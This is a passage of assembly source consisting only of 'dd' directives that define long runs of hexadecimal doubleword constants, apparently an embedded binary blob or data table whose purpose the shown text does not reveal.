0FD8659AEh, 7005C9D2h dd 0C01608E0h, 100479D0h, 0DCA4A2D3h, 0DC800035h, 0AC960799h dd 0CF005CF0h, 9012B895h, 0F87252h, 0C0406798h, 99F62F5Eh dd 397D7500h, 0EEF20F97h, 7CA805D3h, 0C0E94B29h, 27A6AE0h dd 51D26700h, 27172B12h, 4C355A7Dh, 6B0ECA38h, 76034A00h dd 4C91ACA8h, 89A51D0Ch, 0FF4E8D1h, 1EBA8CAAh, 8CD80A0h dd 0E4E7CA33h, 4D002732h, 0D885BEA9h, 4E7ED6AAh, 8F2C0071h dd 0AC08D4Bh, 0E5FE9C00h, 0BA9B102h, 419A00A7h, 43A4A60Eh dd 0DFFC1018h, 0DE513100h, 0EB350B55h, 28150119h, 0ABCA9D58h dd 0FDD840A2h, 2007414Fh, 0ED430A9Ah, 1AB653h, 0E4B2D28h dd 0BE198FF0h, 3FB2300Eh, 647CA023h, 51F5CC0h, 6D783A56h dd 81EC0F90h, 0D0DEB127h, 77068C04h, 0CE63AF00h, 5646E77Dh dd 39E00A67h, 0AC42ECh, 535B7B34h, 4C00C6F3h, 0B9A613F2h dd 131B88Bh, 0DE55E5A4h, 0E81CC8C4h, 4401F67Eh, 0D2B10ED7h dd 0E37037ACh, 47340375h, 0D5BB0A5Ch, 0DB70B998h, 5BCF9201h dd 0A11B2DF1h, 182848D9h, 0B840F201h, 207FBB93h, 72085914h dd 2C8D61h, 0F97ACB8Eh, 0A301F1D4h, 62B395F0h, 0C841CCB1h dd 6CD89339h, 5C5E01B7h, 741C0C55h, 0BDC08A04h, 8B1EAC31h dd 0C64A6E00h, 7225E794h, 1490D7h, 4E0E4D2Eh, 39DE5E6h dd 4982AF0Ch, 6FA11CDh, 4669A7A2h, 141F58FBh, 0C2C0EA1Fh dd 0C1E44E3Fh, 43E0FFh, 0E7DF858Ch, 9588468Fh, 9DEA1A00h dd 40D89122h, 26429037h, 25C718Bh, 472535FCh, 0ACF71860h dd 6D00FC94h, 0E90BDEF8h, 0D2D30026h, 25C55633h, 0E300F07Ch dd 0D1CCC3BBh, 33F2389h, 91A1014Fh, 0FAE82B48h, 7F00CF2Fh dd 0A8FB7CA7h, 1AB4CEh, 0A5F1C2D6h, 8103EA6Eh, 53D2BF00h dd 21A15463h, 0AC5B00ECh, 6637392Ah, 771FD5DFh, 80FED787h dd 38BDC8F6h, 76C2BAh, 7CA36229h, 8BC987CFh, 0C324271Fh dd 0D05A6AC3h, 0F161D77Bh, 13C037AEh, 0D82F5065h, 821009B6h dd 78E0EC50h, 8095BB7Ch, 21D2E0D4h, 74B9007Bh, 7D44568Fh dd 0AC002434h, 72EBF332h, 1D014Bh, 0E2C633A3h, 3D08DE6Fh dd 0D8274F28h, 0D6255C90h, 0C4146067h, 0B17932h, 77473E41h dd 0DFB85185h, 57603D00h, 0B2C34927h, 0FAFED8h, 2B5ED2B5h dd 461FBF6Bh, 0AB233A00h, 18928A39h, 477402ECh, 0B6BA3B8Fh dd 0BEDC9880h, 93005489h, 0B25AFF27h, 1289599h, 0A938E67Bh dd 0F8B5B064h, 0D801929Dh, 146336FEh, 0C8CF22DEh, 95153h dd 7B731A4Ch, 287880D6h, 0FC031F00h, 0C734C60Bh, 8207015Dh dd 15E3D06h, 6B30F4BFh, 3702DA00h, 0AB53739Dh, 0C6DB0089h dd 1527CE12h, 0AC0026E7h, 0C7881BEBh, 3CB285B9h, 49F722Bh dd 41A44144h, 0F8F1E6EFh, 0DD01C116h, 750E3201h, 773050C5h dd 30E2016Ch, 0B1A5A6F7h, 10A07081h, 2685B00h, 2E2F1201h dd 60530048h, 1619096Ah, 4D0747C7h, 72B36C7Ah, 0B2A5AD00h dd 0EEF70035h, 0A2BA1AE9h, 0E5EE4EB5h, 70B1F24Ah, 0C8C0C304h dd 883FC86Bh, 0FD3DE132h, 0E5F9009Ah, 0C9ED128Ah, 87AA0041h dd 0FB70A5DFh, 0C82685DEh, 240070BAh, 0C6F1F3A2h, 0DC093D10h dd 0B4677C00h, 0DBC0A0C5h, 0E286900h, 9601FB22h, 0D5EE00B2h dd 0CF8243E4h, 0D00DE2Dh, 0DB219C6Fh, 2868BA1h, 0B8D757D0h dd 0D0C4CDA7h, 0F8000976h, 8C53C304h, 0F4FD91h, 9926A8B8h dd 3174233Bh, 648F4200h, 0FB28DBA6h, 0CE570F24h, 2501B082h dd 3C9EDA4Dh, 81DD1C1Ch, 87894B83h, 47698054h, 7BD8009Fh dd 0D7789E63h, 438B59Dh, 904D8796h, 0F420EB68h, 0EA44E3h dd 224CFD29h, 960EF7A4h, 5BC1A30Fh, 0D12C3FEh, 0F21C007Dh dd 4F2F8CA1h, 1A00C81Ch, 434B05Bh, 0AED7F7h, 582C86B4h dd 0F135E384h, 0B0A3C42Eh, 0CD6ECB80h, 0EA3EC1h, 0E75660FEh dd 41DF4715h, 3AB74205h, 5880A180h, 1CAA97D4h, 4924882Bh dd 100784E2h, 30809E60h, 9DDF6211h, 80E01F5Ch, 0D776C669h dd 532A051Dh, 805022C3h, 0A6040268h, 0EAB95D00h, 110552AAh dd 96409F9Dh, 617DB2D3h, 0DB001090h, 15E2A859h, 24445780h dd 6058FA8Fh, 4FDC7354h, 6917B504h, 0C80403Dh, 104D37h dd 0A814746Dh, 0BB7901BEh, 81388000h, 0DBE37172h, 0A2403B86h dd 9C9613h, 2B8584B4h, 4C00C5ECh, 682AE62Fh, 70D367Dh dd 18F7128h, 0FC21A0C4h, 6E0012A1h, 0E38ACC3h, 3482C9Ch dd 0AAB789C7h, 3AD9AB7Ah, 0C6C0D77Ch, 0F607F8A5h, 4396D9B2h dd 0F8C224D3h, 52B68Dh, 6C1069F7h, 40DD6154h, 5A26F601h dd 6DAF3BF8h, 8C801861h, 30398D19h, 64016B7Fh, 50F26C11h dd 9FD8ED4Bh, 0C08350A1h, 1ED8FEA0h, 0C322D170h, 0D063585Dh dd 0C3E018EAh, 6AF41736h, 62829C0Ah, 4581B410h, 0AAF99EE7h dd 54C512F4h, 0A030CC5Eh, 0A0B2218Ch, 4A189BC0h, 643440EFh dd 0B4D6178h, 1BC386C0h, 0F0EF8B5h, 0A622021Ah, 0A20DCB7Dh dd 0B8F67C80h, 0A4000477h, 4E87C6AFh, 9155ADh, 6FFA769Ch dd 0E7FF08F5h, 362E5DE8h, 23056026h, 9280BBF6h, 2B09531h dd 34BAB6Ch, 31E0B55Ah, 78008B43h, 28FA8ADBh, 2451542Bh dd 106801h, 55421B2Ah, 0C028C803h, 1600C01Ah, 0B8C58925h dd 0A20CE3h, 0B5D6BAAAh, 0EB95F21Eh, 0CAECAD00h, 56E4F4C7h dd 0D8C91D38h, 7B833EFAh, 0D667DE31h, 9937B6E8h, 0D29C5500h dd 0EBED56D5h, 495400F9h, 387C4A32h, 43000C5Bh, 5F4F170Fh dd 0D1C260h, 8C4B30EFh, 0C83CCB69h, 5A5A6571h, 93883000h dd 95C9A8A0h, 9C0254ABh, 18E0B1D0h, 0DC98BF3Eh, 7BCA39h dd 7A1D6779h, 2961E9Ch, 1A52C541h, 7C7C297Dh, 0AA6A3901h dd 0D840B359h, 0A3D7F073h, 70704888h, 1084500h, 751DA60h dd 6E9D9600h, 1D8AD828h, 90CD5C0Eh, 56E7260Eh, 20F77060h dd 2F006D1Ch, 0FEC0C3D1h, 12752723h, 0CA853Dh, 5C48F626h dd 3700576Bh, 1B600D7Eh, 0FCEC3F39h, 7731F34Dh, 9FC430h dd 0D0469159h, 1C81D65Eh, 0B36FDF00h, 870978A7h, 27F68Dh dd 5C99F4C8h, 436023FDh, 5D0542F0h, 7EEDC7B2h, 8DB2780h dd 0BBBA30C9h, 0D4C110E0h, 89A61D39h, 142332h, 0C3164A82h dd 1A742Dh, 4B13058Ah dd 436AA0AAh, 75FA1201h, 0B38FC252h, 2FCEF0h, 0BC94878Ah dd 0F4CCC006h, 81245609h, 1FF870DCh, 0D7544470h, 1C009122h dd 0D400304Ch, 938C0400h, 0E0C64A6Dh, 64B25C49h, 0E7EB8Ah dd 9B8F1DB3h, 0CD015EF1h, 0BBC71297h, 91CCE77Bh, 0EEBA024Eh dd 94E5A04Ah, 383C7854h, 50A6877Ch, 3E1098AFh, 18ED90h dd 5E7AA7C0h, 6772F0D5h, 3E71A53Ah, 3D23E85h, 0E0A3EEC1h dd 8C01E587h, 0F7AE63B5h, 0AEA0560h, 201F794Ch, 0EC1E00C4h dd 2263A550h, 9E10C9h, 0F616A224h, 98F86382h, 31B06F20h dd 2008B28h, 4D42A37Ah, 72E47ABh, 6C74F1C4h, 161DA012h dd 7013843Bh, 0B0C09490h, 38211F31h, 232599BCh, 0C90D2840h dd 97666517h, 0CCDC0480h, 7078E6h, 557F5CE2h, 0D90E4B8Ah dd 0E4C8AB1Eh, 6DA84A03h, 14A6D952h, 0F33D4C73h, 6899F3Fh dd 7CC04EDFh, 1012E2DAh, 20F416C2h, 0F1C100ECh, 3D279944h dd 4C00D846h, 892EB79Dh, 1678ABAEh, 337014h, 6A6CDD4Bh dd 0AC0080DFh, 91A32539h, 0F579F94h, 0F47E36A9h, 0BE60236Fh dd 6F767A84h, 0D1085200h, 3364DF75h, 5D960B80h, 1C009DF2h dd 53DC5F32h, 0BD76F800h, 37EF0664h, 525013EDh, 276A01D3h dd 0C4E8AD96h, 78F15938h, 3D4000A8h, 0A32AB7F8h, 9070E8A4h dd 0A50D00E8h, 19BD91ACh, 74000ECCh, 811A586Eh, 901CE796h dd 0AEFC00D8h, 0DF31D916h, 0D0083ABh, 9EC8E821h, 3C1E513h dd 9F2AE06Dh, 0D7B81214h, 1D249131h, 8C0008BCh, 0BD922CA0h dd 5453187Ah, 0F0131EB0h, 175A9714h, 3CB20E88h, 0ABE9A107h dd 0B8200553h, 0F4BA17B3h, 6E9F0706h, 0F281C05Fh, 6525CB71h dd 938F439h, 9700FBD8h, 1434BCB1h, 2070282Fh, 6655E0D4h dd 0E3B01837h, 0AD54EFCh, 0F74BD00h, 1EE0F2A7h, 89FA0036h dd 6F082D80h, 7900E6D9h, 939726EBh, 33A349ACh, 896076C7h dd 981C9Dh, 97C44FBCh, 81000CEEh, 0C275A80Eh, 7A909E3Bh dd 7B2EEADh, 8B5346C5h, 3F5F20EAh, 0BF00D2CFh, 9BB15A8Eh dd 752A93h, 336561E4h, 0E1AE7A39h, 3AF35909h, 97D38069h dd 2D6517Bh, 1031607h, 8606FF1h, 71EB541Ah, 39C9F00Ch dd 0B1A8C500h, 0A3071D63h, 92AF03ABh, 570D5238h, 28821100h dd 7F07B326h, 2B5601B9h, 8531E3D1h, 1A4FD021h, 0A482E0A0h dd 59EA3D00h, 3C4EAB52h, 23161747h, 0D03C00B0h, 3D08AD3Eh dd 5518A00h, 53490B0Fh, 1510B86Ah, 0DCD4BB46h, 0FCDA4B01h dd 0C817C890h, 1A4D2AE1h, 0D75F1EC8h, 98048027h, 0FBF668h dd 0E57FCC63h, 0D8ABE628h, 8F2EAC0Fh, 521EEEB6h, 2780A0h dd 29C073A2h, 0DC38E55Ch, 4400114Eh, 0C81225Bh, 0B0830076h dd 7D57AC59h, 0EA0020AAh, 0A69FFAA9h, 0E0B91310h, 0D2EB4C3Bh dd 0F46F740Bh, 33622CA0h, 0B89955F5h, 0F200E024h, 589ACFD7h dd 0C880EB8Dh, 67AF7EE7h, 651C5AA9h, 9298CBD2h, 8BD418h dd 3FA30CC2h, 9DE59545h, 0A81E7F28h, 14EC6E07h, 614093B4h dd 7B153FB5h, 0A87CF0h, 0F9CF1C16h, 4FF4183Ah, 945E0C00h dd 77ABD133h, 0A0D900D0h, 0D881E344h, 157AACB5h, 0FF82E100h dd 24935350h, 62160085h, 2278E89Ah, 192679D8h, 0AF00F7CAh dd 0FA745BA0h, 97D5000Dh, 4276CB80h, 0F80186B1h, 41E88856h dd 8AC9EF94h, 2480CCh, 285C6D54h, 583C35A1h, 74032900h dd 11CFE186h, 61B801CEh, 3382C819h, 868F8DFh, 0F257D700h dd 458E9D9Fh, 15DB00F1h, 3251783Fh, 0C90E59FBh, 8313E829h dd 0EBC87Fh, 0BC0FDE50h, 59336B7Eh, 611F2100h, 169B4F04h dd 454800B6h, 0FDD4985Dh, 0F0063B9h, 0E88986F1h, 0B1DF2Ch dd 7BDCB59Ch, 955DFB3Ah, 9D88F203h, 0F00E33D7h, 3F60D598h dd 20BD84E8h, 0DE286B37h, 0EC3D0C00h, 5B1AE96Eh, 6068B9D0h dd 0F8D19D56h, 7B960035h, 564B310Eh, 0E600D354h, 0EAC1EBD8h dd 0B3DF2Bh, 4840695Eh, 43313D0h, 23078AF0h, 4A9B6EEEh dd 103A34D0h, 0B9C8008Ch, 0F17ECF1Dh, 0F6005D92h, 96324C4Dh dd 1ECD1A6Dh, 10666Ch, 102E7B0h, 3DF042BAh, 2708E000h dd 889B7D26h, 2E530085h, 18BB7B15h, 601CC591h, 0C8A8B103h dd 1E5F2000h, 0C6247A43h, 0F4E902DBh, 2C928BB7h, 0F5EA3160h dd 6DB538h, 3228ADD0h, 3AE16FA8h, 3380717Bh, 0F66EAF49h dd 0CC006A74h, 2E0B29EBh, 52F143h, 0F938C6A4h, 0FFDD7DD0h dd 2287B601h, 0DC028495h, 0C3791080h, 90C220ADh, 0A1B00950h dd 28007490h, 0DCBC6847h, 188F7D7h, 0F0C310E9h, 0D4A5C1BAh dd 0C63EBBA0h, 0ACB080B2h, 0E6A2C84Bh, 0EBE100B4h, 0F80B70A4h dd 0D0002514h, 0E317474Fh, 2E7CF0h, 62BE36D9h, 85FA0A1Dh dd 0A8077300h, 0EECEB6FDh, 1A7E0026h, 57E252B5h, 83006D78h dd 4909415Bh, 1C170F89h, 0C77953h, 0C15A9829h, 0CC12D947h dd 3C003D54h, 10A008DDh, 72280369h, 147A98B1h, 800AA43Bh dd 0C9AB2B7Dh, 3298F4Ah, 4808B950h, 0C090A298h, 7000ED36h dd 10E13869h, 26D47Dh, 0A20D4034h, 734123FEh, 924E3300h dd 98975889h, 4538307Eh, 23B2D8D2h, 8BF1CB01h, 0BFC5341Ah dd 2CEB2A80h, 0B1071E08h, 362501Dh, 0A0C2A58Eh, 0BE409B9Eh dd 3C6D0334h, 0A13E66ECh, 22E7A4D0h, 0FB618500h, 14A0AD1Eh dd 0EE121F6Eh, 3F6A80FCh, 0E4220E7Ch, 1100BD7Ch, 47B25AEDh dd 57385Eh, 48B32A95h, 4586087Ch, 0AB615B03h, 9819C885h dd 1F10C14h, 3BE7559Ah, 0D46CBA31h, 935035BEh, 1006ED9h dd 8BAA6F5Dh, 0A23BA6h, 0C142A7BCh, 0FE58027Ah, 85C73D00h dd 0E5A698D9h, 46AC1E20h, 0EEC3C151h, 0C84011DEh, 7EC7D3Eh dd 0EB58EF0Fh, 0C8017685h, 0CA519EE8h, 3BAD0F4h, 3A474C35h dd 0C2F4BDECh, 38483724h, 2C0080F7h, 705F3078h, 292F15h dd 5519AE46h, 68D56B7Ah, 9A48E0FCh, 225700ACh, 65EB3AB1h dd 94F14C75h, 7961C818h, 0FB0F389Dh, 848E219Eh, 40C06275h dd 0E8E0CFB1h, 2E4C0180h, 5874077Ah, 0B211F442h, 0A5FFB704h dd 3880226Eh, 0FAEFB3h, 54BD44A2h, 0A671C987h, 21F26F18h dd 28683C20h, 0FC25CAh, 47C6F332h, 8DB097A8h, 0FA75AFFCh dd 0A0308104h, 0F4C070C9h, 7E94B6A2h, 0B3830555h, 0EAB064h dd 484DB80h, 0D89103E7h, 0CFC93BC1h, 2F0A034h, 66B2802Eh dd 0B86833AEh, 8A00A87Ch, 0EA572788h, 1F12BBBh, 9374A9CBh dd 0C0FA7984h, 20019B78h, 6E9C019Eh, 8644B58h, 905F03D8h dd 1A09DFFFh, 80DABAE1h, 93D0AF40h, 0FAC4CB04h, 0CAA203CDh dd 0B658179h, 78001EE3h, 0C7544014h, 3F0164h, 3AD36D4Ch dd 5D370AF6h, 14DAC0F9h, 2C97EE26h, 6AEF1100h, 8BE8D5h dd 0A7091DF6h, 12534DB2h, 0F3267A76h, 2300DA55h, 0CC1E8FF5h dd 387600D4h, 0DDBFF9D2h, 880529F3h, 0FACF6E7Fh, 840F4090h dd 24E60405h, 542D6038h, 0C4A50C9Eh, 163B96Bh, 139E5DBBh dd 0C5DD83CBh, 344198B7h, 9FE560h, 19243C2Eh, 0B2A30D22h dd 949DDF03h, 0A05BFB6Ah, 2A432C20h, 2CCD213h, 2D06D633h dd 908C8F79h, 6688A630h, 2980EF7Eh, 6F2DC358h, 94A3786Eh dd 4E315A80h, 41D4F74h, 0E2C66526h, 5491A9D1h, 0EED830h dd 0D714CB7h, 0C06D569Dh, 0D43551C1h, 5048AB04h, 36932A4Bh dd 2EA94h, 7740D0C0h, 62BBC110h, 5796C318h, 242CBD41h dd 7020139Fh, 86007E93h, 0BEAADBB5h, 30D1F090h, 3F98E943h dd 0FB047884h, 47352BEDh, 8B089880h, 0F6E91FDEh, 4BB0C989h dd 96E73C80h, 1C007FF9h dd 0BEE6F3B3h, 92FA5C7Ah, 0AE3B008Ch, 0A5A6DD6Ah, 0F90993B9h dd 25198EF6h, 0E08380B8h, 1D5000E9h, 44A5D8FBh, 202439B4h dd 0BE86582Eh, 0B93FAFh, 51D596CDh, 0B7D388F6h, 25D7C506h dd 321AFDFh, 7BBE0C6h, 0D29C9BF6h, 4CE02D00h, 3E9850A9h dd 9C1DC8B0h, 3B82E7F0h, 0C0F54D1Eh, 0F9AA18h, 0D51F28C3h dd 78D1FB7Bh, 7FFB606h, 0E488759Fh, 68B0098h, 0C76A34ECh dd 95120E77h, 860009C0h, 0F47839CAh, 4A192E9Dh, 69A600A0h dd 2488C4B7h, 966FEF00h, 0AB4CD586h, 617A72h, 0F5742D93h dd 76DBE412h, 6BFB3Fh, 0AC8A08FDh, 7EFFC15h, 745B34E1h dd 0C5DCB011h, 843DCE8Dh, 0D9DE8709h, 66A12B10h, 30E082A8h dd 177B034Ah, 0B81C3787h, 56A39CE8h, 113EF71Dh, 64C69642h dd 97FDC085h, 3AF5005Eh, 3E5B0179h, 33008B4Dh, 6688FECBh dd 14CB18Eh, 4B1D80B3h, 0E8E34184h, 84A30651h, 0A2FF3CD8h dd 0A685DA00h, 97D4C9BCh, 8FF200EAh, 0D2CAB3AFh, 6001CC95h dd 92C80D70h, 68804E49h, 0A9D30891h, 16004D4Ch, 0CCAD8A54h dd 0B82AE889h, 5721160h, 2919CF26h, 5F7C2770h, 0A5329690h dd 50EE0006h, 40520564h, 77009DEAh, 7399E99Eh, 24F0A062h dd 0A38AB8h, 2056AEEh, 1658A7D0h, 2C3F1800h, 0DCEBC8h dd 70B4F62Bh, 9D57E4FDh, 0BE00557Ah, 0E0359C85h, 3FFB3942h dd 308E4EC1h, 0FC005F5Ch, 89C2CB15h, 5DB4D000h, 0DCFD3E6Ch dd 0FAC4030Eh, 0B33D8EB6h, 48E96400h, 92F753EAh, 2A182435h dd 388C00D0h, 2CA51B5Ah, 0ACC65226h, 0BC9C5880h, 839344h dd 9D7BE0F4h, 99EF3D45h, 0AA6C7C00h, 0ABFC312Bh, 3459829h dd 1C646865h, 403DBAECh, 0E5730355h, 0F0FB6B70h, 0EBDA2AAh dd 2C9E84E3h, 4A664380h, 6F0095C4h, 4745ABC2h, 860F88h dd 2312F8D2h, 0E91E71FAh, 7160CB8h, 64302F60h, 98E002BDh dd 55F91358h, 0BC7828F8h, 0C029F03h, 0E047C4B2h, 0B137140Dh dd 7A80536Ch, 0A9B0AB2Fh, 0B615F088h, 6D24A213h, 0DB383600h dd 7CA4E02Ch, 0C9010698h, 51C54175h, 9B90200h, 9B59BE9Eh dd 0CB050B8Ah, 30002B84h, 24AD1352h, 27929716h, 0F3F88040h dd 30F0A989h, 0FC70E49Dh, 0B4125906h, 84BC2C6h, 57A420BDh dd 9AF7AC85h, 47C80920h, 0B88019B9h, 3D2190E6h, 3462506h dd 13B89350h, 0A0CBA81Fh, 7500CAFAh, 8E9F564h, 38C3210Bh dd 0F100C1D4h, 9720A56Dh, 0AA307316h, 28A2E011h, 70D30632h dd 89CF9E9Fh, 81C7633Eh, 438D5AB9h, 14703F8Ch, 0A0716006h dd 0FCFBAAC3h, 8107EBFAh, 3C17FFD7h, 7648C24Fh, 288CC174h dd 64628017h, 3492EA24h, 71D4570Ah, 0B9B8E3h, 0B3C4A0ACh dd 134DB1FCh, 1DAF1455h, 719D8214h, 0A8C41AB4h, 50E02099h dd 0C1E5C4Bh, 2A92892Eh, 7701B9C1h, 40E5CB8Fh, 16C8B8D4h dd 0D50B0B47h, 0DC30F655h, 2B206549h, 2AAE02C7h, 2C4FB5DBh dd 0FE388880h, 0FC00F834h, 49765F58h, 33EE1A2h, 9BB22ED6h dd 71002321h, 0B7F52BD2h, 28F7655h, 0A7AFE4C8h, 0C4C03D93h dd 0CC54039Ah, 90F4D80h, 40160A65h, 7477B8DAh, 0B4140F23h dd 0FEBF5A34h, 96A4112Ch, 0E01E40h, 85C5E859h, 983BE09Eh dd 2A4293E1h, 84961C23h, 6EA11490h, 6FA216B0h, 16985E71h dd 207C21D8h, 695DE82Dh, 0C9C9013h, 0D3F78C40h, 0C9A52D6h dd 0C7374D0Fh, 0E926B638h, 11308CE3h, 22EC5572h, 2626C169h dd 5000B2AEh, 681A888Ch, 174E1FB7h, 0AB974179h, 74F9AE96h dd 0E603CB30h, 57195B9Bh, 0C3C28C78h, 0BD00488Ch, 0F4E7096Ch dd 0F025EC81h, 6CF43815h, 0C3C24E0Fh, 5456602Eh, 72267Ah dd 4B601722h, 0D43E9E62h, 3AC83201h, 93B8B7FBh, 70E452FEh dd 27380E57h, 820A228h, 81EF6DA1h, 3A1558h, 0BB65AAFBh dd 751DC5h, 2134F207h, 0C766B005h, 3B00B4B9h, 7C4F17Eh dd 396C602Bh, 3C7CCD45h, 7A254E00h, 709EF853h, 41FA77h dd 2892E6C1h, 57B3A8D7h, 0DB32E400h, 0A33358B0h, 99B2006Ch dd 0F85E72B1h, 302CAB65h, 7107AC3Dh, 69905CADh, 6D1531h dd 89E4F61Ah, 267E57FDh, 9DAAEE00h, 2B69350Bh, 0E2E9002Ah dd 3CECB158h, 43FEB9E5h, 0AEE6A80Fh, 0F0CE605Dh, 94788Ah dd 80C55EA3h, 0BD844A65h, 0B9AB2809h, 3860017Bh, 62D80667h dd 3DE131Ch, 2710D021h, 223E3AC7h, 0E845805Dh, 2A50B5F9h dd 190700A0h, 5B5F5963h, 88B0A721h, 0F5727C01h, 360311F3h dd 4AA860h, 0BF0FCEBCh, 663E6A7Fh, 74EC2A54h, 0D882A000h dd 93187125h, 435301B8h, 84ADE8Fh, 0F56C346Ah, 3206D61Eh dd 66D56B80h, 1FF2DD10h, 0DE3E86h, 56C268D4h, 3A38AD6Eh dd 3DFA4C53h, 0BFFC004Fh, 8DEAD4D9h, 97FD0080h, 8C8368BCh dd 4C92D024h, 78849B00h, 47A3D8C7h, 58027C94h, 7F9431h dd 4CBE620Eh, 7363E9C6h, 0E3002390h, 35564879h, 7755F237h dd 59B0032h, 4F0F201Ah, 101C365h, 0C846F10Dh, 0B1EC9DDDh dd 0B293E062h, 0E22C0038h, 0BF64CD61h, 2DF20427h, 12B87A0Eh dd 4DC01D19h, 7D6C92C5h, 84C926A9h, 0FC210060h, 0E831014Ah dd 872C8000h, 56060AF2h, 557A037Ch, 48CFFB26h, 5FC6FDE0h dd 7D243E00h, 71EB6FB8h, 4B5C0077h, 7AAE1E2Ch, 854C87A2h dd 54492658h, 87E7C90Fh, 58709CBAh, 96C7F8F4h, 0FED586BCh dd 1200B9A5h, 0F8EA1E6Ch, 0B0D6B536h, 29A201ACh, 1BB96F4Bh dd 675C2057h, 2F331700h, 0CB72859Eh, 54FB0255h, 467BBED9h dd 9C68D142h, 360486F5h, 0D1B35F03h, 0F0AB9CC3h, 24D40FF1h dd 8010853Dh, 48DF05EAh, 24095382h, 6BF6564Bh, 2BF1E0CCh dd 9DE8C696h, 46005930h, 21275465h, 9AE41C89h, 6F9A00B8h dd 99AE11FAh, 7758B080h, 175600D0h, 9EA330C9h, 46F6884Bh dd 2A0FF894h, 2ECCC564h, 91A22487h, 0C0586B80h, 4C90E217h dd 49804CBFh, 37652DC5h, 0BC47C302h, 0A0831D77h, 7362C49Ch dd 13A1C0F2h, 29F734AAh, 544AD100h, 0C356AF74h, 82750480h dd 0CCE3DDBBh, 4C00DCF8h, 0CB11FC9Ch, 3998F7h, 4A5779B5h dd 9E93D1Ah, 0BD0F4C00h, 3B242659h, 882F3005h, 64394979h dd 0CE38B403h, 2E0B5C14h, 8264BAD9h, 4892C497h, 0BB420627h dd 17DCC777h, 8110609Fh, 4909A0E0h, 0A9AD43h, 55C97424h dd 0E54813E7h, 391088B1h, 30A11A2Eh, 0B63E2C8Fh, 40C1C84Bh dd 13C858h, 9B84D58Dh, 7F20BC94h, 0A10BF50Dh, 1ADE595Fh dd 0FF79A8C9h, 0ECA1E6E2h, 0D06B0AAAh, 0E13AC8A0h, 2CF4242Ch dd 8AEC9D03h, 738903EDh, 0E472D554h, 0AB6B1104h, 0D4E0B7A1h dd 6FCE20AEh, 0E3000998h, 55F474E8h, 0F4824BE4h, 2737002Ah dd 0E59695FBh, 0EF7F6F54h, 0C817D300h, 0A9299E4Bh, 1EDE249h dd 0F8B4B535h, 30D02512h, 0AE266485h, 0FB004809h, 95CCB9B6h dd 0BA11C003h, 403F1FDFh, 43C55B04h, 0A417C6h, 0CC7954D0h dd 64CC001Dh, 0EA5F3A3h, 55025A73h, 575C0C6Dh, 9F546375h dd 9C92DDC5h, 535C8094h, 0FE5738h, 3322EF0Ah, 0B088EB8Eh dd 29EAFF00h, 2EE39892h, 0E7640099h, 8FC1B7D6h, 0A3F28421h dd 0E1C08D00h, 0F10C229Dh, 94B0A2h, 79535833h, 0B2725D31h dd 2BFFA600h, 6F402C7Ch, 6EA700C6h, 0DBBE0DC1h, 5601289Ah dd 20AFC0F7h, 0AAF8D13Ah, 5482008Ch, 0BCA24D15h, 955CE1D6h dd 0D2E30128h, 0D43A9458h, 1BBB9D8h, 51B850D5h, 0F44FDB97h dd 8600C57Dh, 462A73ACh, 2D7B5F05h, 1278ED2Eh, 6E4F3F1Eh dd 2F679240h, 12040156h dd 0E08DD2h, 0B8172778h, 5000E7ADh, 2F20687Fh, 391F4440h dd 49801679h, 855A4A25h, 9000E018h, 0C735D86Ah, 0EA81B1h dd 2EC5759Bh, 1198AAD0h, 21765C0Ah, 0E1EE08Fh, 4C30FED2h dd 0A0C74h, 2182A9D3h, 27B71875h, 0B51A7F07h, 7A6016ADh dd 48B4B62Dh, 0F5773348h, 28FCB7E1h, 0F5EE0760h, 0A9683F9Ch dd 9B76D422h, 2620F472h, 955901C6h, 70DDF83Dh, 866530B4h dd 10942500h, 0D01E6449h, 4B782460h, 97213028h, 941E7598h dd 0E5812C2Fh, 390DDD8Eh, 0E8A94460h, 7193F979h, 0EB1E71h dd 0D1E8E5D4h, 64944F14h, 40001B96h, 461D582Dh, 48CEF08Ch dd 2E102CE7h, 0AE5F1665h, 0D8B5DC82h, 70F400F0h, 0EAE8DA2Fh dd 0A2027BC1h, 62459B6Bh, 7F17C004h, 11BA03B3h, 9DEEC74h dd 5EC2DC98h, 97874D07h, 5AE28821h, 45C4C0E6h, 0C990091h dd 4FC3DBB9h, 1D008FBFh, 36103D18h, 64F60Fh, 0A799D884h dd 0FA0821E2h, 0FC0028E6h, 0AEFD3E8Ah, 58AA3436h, 7F018861h dd 5B1110A2h, 3926C8C6h, 0B478041h, 45B45830h, 672F2630h dd 9C5000E8h, 5E16394Eh, 6AFD0100h, 0A7D3651Ah, 96DD00C9h dd 0DE8681EEh, 3226D2BAh, 0CD05D442h, 0D3C0BBE2h, 0F40F897Dh dd 11D900B2h, 0C248B9CFh, 942C6D93h, 0C100F4EFh, 137EC3FCh dd 74E40058h, 55BF1C9Fh, 8B83B4Eh, 732FE300h, 71DD7284h dd 0FFAC2613h, 0A5550348h, 80B86E2Dh, 900D023h, 15578B0Ch dd 3C71CD3h, 0AA69ACBCh, 0E10056C4h, 0A8BAC034h, 40B5E5h dd 92F8D4BFh, 49BE8C60h, 0F2CFA61Dh, 350A7A80h, 1877C3h dd 513E074Dh, 228ACEB5h, 32622Fh, 1E8B5398h, 0E07B619Ah dd 2329E307h, 0A2110F58h, 0C68E8088h, 971F70h, 0EA711AC2h dd 7DC80A7Fh, 0ACBFA800h, 0F9FB9D04h, 84A0C281h, 0BDE02B50h dd 6F00F005h, 100348A7h, 0F90D5Ch, 3D429E56h, 93A5DA2Ah dd 9D88E709h, 0C6E087D6h, 0F295FA50h, 0D9B70081h, 0A1FBA30Dh dd 0A0DE7C6Ah, 98997384h, 82201D22h, 3AF6FEAFh, 3887C44Dh dd 998C0B67h, 0FC25F000h, 6E007CD9h, 21BAB096h, 48B140DDh dd 560BF84Ch, 70DC1481h, 0D5DF2B02h, 1FA440EEh, 7510017Fh dd 8F67480Fh, 31A448F8h, 0C1B65E00h, 0AD63238Dh, 0E8380020h dd 0AFFC7062h, 0C92C95Ah, 0EC00DD5Fh, 7E540980h, 90816739h dd 0C0F6B406h, 31A5338h, 56B9E101h, 0D351A4D0h, 0E46806E0h dd 7467001Eh, 6C14FD02h, 0F0FF61Ah, 206F8462h, 42370A10h dd 29C907Dh, 0BDD60CA1h, 7840B2DDh, 58005DCEh, 0B6FEF9FDh dd 346A13Ah, 7ABEE76Bh, 26D0B42Eh, 0B23078h, 8FE6B700h dd 9638DB7Bh, 5CE4F291h, 0DD003C45h, 2A858812h, 0B8B0F509h dd 0F9C0E30Eh, 5577D9Bh, 0C85084C0h, 0B667E18h, 305ADECBh dd 12C7E801h, 0A52AD0D7h, 0B79D57Bh, 1B543Ah, 